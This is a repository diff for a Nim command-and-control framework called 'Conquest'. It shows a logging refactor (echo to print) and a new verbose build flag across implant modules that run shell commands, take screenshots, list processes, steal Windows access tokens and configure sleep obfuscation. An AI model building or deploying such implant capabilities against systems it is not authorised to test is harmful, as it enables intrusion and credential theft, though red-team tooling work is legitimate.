@@ -71,7 +72,7 @@ when defined(agent):
|
||||
try:
|
||||
var arg: string = Bytes.toString(task.args[0].data)
|
||||
|
||||
echo arg
|
||||
print arg
|
||||
|
||||
# Parse binary argument
|
||||
var unpacker = Unpacker.init(arg)
|
||||
|
||||
@@ -30,6 +30,7 @@ when defined(agent):
|
||||
import winim/inc/wingdi
|
||||
import strutils, strformat, times, pixie
|
||||
import stb_image/write as stbiw
|
||||
import ../agent/core/io
|
||||
import ../agent/protocol/result
|
||||
import ../common/[utils, serialize]
|
||||
|
||||
@@ -155,7 +156,7 @@ when defined(agent):
|
||||
proc executeScreenshot(ctx: AgentCtx, task: Task): TaskResult =
|
||||
try:
|
||||
|
||||
echo protect(" [>] Taking and uploading screenshot.")
|
||||
print protect(" [>] Taking and uploading screenshot.")
|
||||
|
||||
let
|
||||
screenshotFilename: string = fmt"screenshot_{getTime().toUnix()}.jpeg"
|
||||
|
||||
@@ -30,6 +30,7 @@ when not defined(agent):
|
||||
when defined(agent):
|
||||
|
||||
import osproc, strutils, strformat
|
||||
import ../agent/core/io
|
||||
import ../agent/protocol/result
|
||||
import ../common/utils
|
||||
|
||||
@@ -50,7 +51,7 @@ when defined(agent):
|
||||
for arg in task.args[1..^1]:
|
||||
arguments &= Bytes.toString(arg.data) & " "
|
||||
|
||||
echo fmt" [>] Executing command: {command} {arguments}"
|
||||
print fmt" [>] Executing command: {command} {arguments}"
|
||||
|
||||
let (output, status) = execCmdEx(fmt("{command} {arguments}"))
|
||||
|
||||
|
||||
@@ -42,6 +42,7 @@ when not defined(agent):
|
||||
when defined(agent):
|
||||
|
||||
import os, strutils, strformat
|
||||
import ../agent/core/io
|
||||
import ../agent/protocol/result
|
||||
import ../common/utils
|
||||
|
||||
@@ -52,7 +53,7 @@ when defined(agent):
|
||||
let delay = int(Bytes.toUint32(task.args[0].data))
|
||||
|
||||
# Updating sleep in agent context
|
||||
echo fmt" [>] Setting sleep delay to {delay} seconds."
|
||||
print fmt" [>] Setting sleep delay to {delay} seconds."
|
||||
ctx.sleep = delay
|
||||
|
||||
return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[])
|
||||
@@ -63,7 +64,7 @@ when defined(agent):
|
||||
proc executeSleepmask(ctx: AgentCtx, task: Task): TaskResult =
|
||||
|
||||
try:
|
||||
echo fmt" [>] Updating sleepmask settings."
|
||||
print fmt" [>] Updating sleepmask settings."
|
||||
|
||||
case int(task.argCount):
|
||||
of 0:
|
||||
|
||||
@@ -38,6 +38,7 @@ when defined(agent):
|
||||
|
||||
import winim
|
||||
import os, strutils, sequtils, strformat, tables, algorithm
|
||||
import ../agent/core/io
|
||||
import ../agent/protocol/result
|
||||
import ../common/utils
|
||||
|
||||
@@ -51,7 +52,7 @@ when defined(agent):
|
||||
|
||||
proc executePs(ctx: AgentCtx, task: Task): TaskResult =
|
||||
|
||||
echo protect(" [>] Listing running processes.")
|
||||
print protect(" [>] Listing running processes.")
|
||||
|
||||
try:
|
||||
var processes: seq[DWORD] = @[]
|
||||
@@ -125,7 +126,7 @@ when defined(agent):
|
||||
|
||||
proc executeEnv(ctx: AgentCtx, task: Task): TaskResult =
|
||||
|
||||
echo protect(" [>] Displaying environment variables.")
|
||||
print protect(" [>] Displaying environment variables.")
|
||||
|
||||
try:
|
||||
var output: string = ""
|
||||
|
||||
@@ -88,13 +88,13 @@ when not defined(agent):
|
||||
when defined(agent):
|
||||
|
||||
import winim, strutils, strformat
|
||||
import ../agent/core/[token, io]
|
||||
import ../agent/protocol/result
|
||||
import ../agent/core/token
|
||||
import ../common/utils
|
||||
|
||||
proc executeMakeToken(ctx: AgentCtx, task: Task): TaskResult =
|
||||
try:
|
||||
echo fmt" [>] Creating access token from username and password."
|
||||
print fmt" [>] Creating access token from username and password."
|
||||
|
||||
var logonType: DWORD = LOGON32_LOGON_NEW_CREDENTIALS
|
||||
var
|
||||
@@ -119,7 +119,7 @@ when defined(agent):
|
||||
|
||||
proc executeStealToken(ctx: AgentCtx, task: Task): TaskResult =
|
||||
try:
|
||||
echo fmt" [>] Stealing access token."
|
||||
print fmt" [>] Stealing access token."
|
||||
|
||||
let pid = int(Bytes.toUint32(task.args[0].data))
|
||||
let username = stealToken(pid)
|
||||
@@ -131,7 +131,7 @@ when defined(agent):
|
||||
|
||||
proc executeRev2Self(ctx: AgentCtx, task: Task): TaskResult =
|
||||
try:
|
||||
echo fmt" [>] Reverting access token."
|
||||
print fmt" [>] Reverting access token."
|
||||
rev2self()
|
||||
return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[])
|
||||
|
||||
@@ -140,7 +140,7 @@ when defined(agent):
|
||||
|
||||
proc executeTokenInfo(ctx: AgentCtx, task: Task): TaskResult =
|
||||
try:
|
||||
echo fmt" [>] Retrieving token information."
|
||||
print fmt" [>] Retrieving token information."
|
||||
let tokenInfo = getCurrentToken().getTokenInfo()
|
||||
return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, string.toBytes(tokenInfo))
|
||||
|
||||
@@ -149,7 +149,7 @@ when defined(agent):
|
||||
|
||||
proc executeEnablePrivilege(ctx: AgentCtx, task: Task): TaskResult =
|
||||
try:
|
||||
echo fmt" [>] Enabling token privilege."
|
||||
print fmt" [>] Enabling token privilege."
|
||||
let privilege = Bytes.toString(task.args[0].data)
|
||||
return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, string.toBytes(enablePrivilege(privilege)))
|
||||
|
||||
@@ -158,7 +158,7 @@ when defined(agent):
|
||||
|
||||
proc executeDisablePrivilege(ctx: AgentCtx, task: Task): TaskResult =
|
||||
try:
|
||||
echo fmt" [>] Disabling token privilege."
|
||||
print fmt" [>] Disabling token privilege."
|
||||
let privilege = Bytes.toString(task.args[0].data)
|
||||
return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, string.toBytes(enablePrivilege(privilege, false)))
|
||||
|
||||
|
||||
@@ -60,7 +60,7 @@ proc replaceAfterPrefix(content, prefix, value: string): string =
|
||||
it
|
||||
).join("\n")
|
||||
|
||||
proc compile(cq: Conquest, placeholderLength: int, modules: uint32): string =
|
||||
proc compile(cq: Conquest, placeholderLength: int, modules: uint32, verbose: bool): string =
|
||||
|
||||
let
|
||||
configFile = fmt"{CONQUEST_ROOT}/src/agent/nim.cfg"
|
||||
@@ -77,6 +77,7 @@ proc compile(cq: Conquest, placeholderLength: int, modules: uint32): string =
|
||||
.replaceAfterPrefix("-d:CONFIGURATION=", placeholder)
|
||||
.replaceAfterPrefix("-o:", exeFile)
|
||||
.replaceAfterPrefix("-d:MODULES=", $modules)
|
||||
.replaceAfterPrefix("-d:VERBOSE=", $verbose)
|
||||
writeFile(configFile, config)
|
||||
|
||||
cq.info(fmt"Placeholder created ({placeholder.len()} bytes).")
|
||||
@@ -146,7 +147,7 @@ proc patch(cq: Conquest, unpatchedExePath: string, configuration: seq[byte]): se
|
||||
return @[]
|
||||
|
||||
# Agent generation
|
||||
proc agentBuild*(cq: Conquest, listenerId: string, sleepDelay: int, sleepTechnique: SleepObfuscationTechnique, spoofStack: bool, modules: uint32): seq[byte] =
|
||||
proc agentBuild*(cq: Conquest, listenerId: string, sleepDelay: int, sleepTechnique: SleepObfuscationTechnique, spoofStack: bool, verbose: bool, modules: uint32): seq[byte] =
|
||||
|
||||
# Verify that listener exists
|
||||
if not cq.dbListenerExists(listenerId.toUpperAscii):
|
||||
@@ -157,7 +158,7 @@ proc agentBuild*(cq: Conquest, listenerId: string, sleepDelay: int, sleepTechniq
|
||||
|
||||
var config = cq.serializeConfiguration(listener, sleepDelay, sleepTechnique, spoofStack)
|
||||
|
||||
let unpatchedExePath = cq.compile(config.len, modules)
|
||||
let unpatchedExePath = cq.compile(config.len, modules, verbose)
|
||||
if unpatchedExePath.isEmptyOrWhitespace():
|
||||
return
|
||||
|
||||
|
||||
@@ -96,9 +96,10 @@ proc websocketHandler(ws: WebSocket, event: WebSocketEvent, message: Message) {.
|
||||
sleepDelay = event.data["sleepDelay"].getInt()
|
||||
sleepTechnique = cast[SleepObfuscationTechnique](event.data["sleepTechnique"].getInt())
|
||||
spoofStack = event.data["spoofStack"].getBool()
|
||||
verbose = event.data["verbose"].getBool()
|
||||
modules = cast[uint32](event.data["modules"].getInt())
|
||||
|
||||
let payload = cq.agentBuild(listenerId, sleepDelay, sleepTechnique, spoofStack, modules)
|
||||
let payload = cq.agentBuild(listenerId, sleepDelay, sleepTechnique, spoofStack, verbose, modules)
|
||||
if payload.len() != 0:
|
||||
cq.client.sendAgentPayload(payload)
|
||||
|
||||
|
||||
Reference in New Issue
Block a user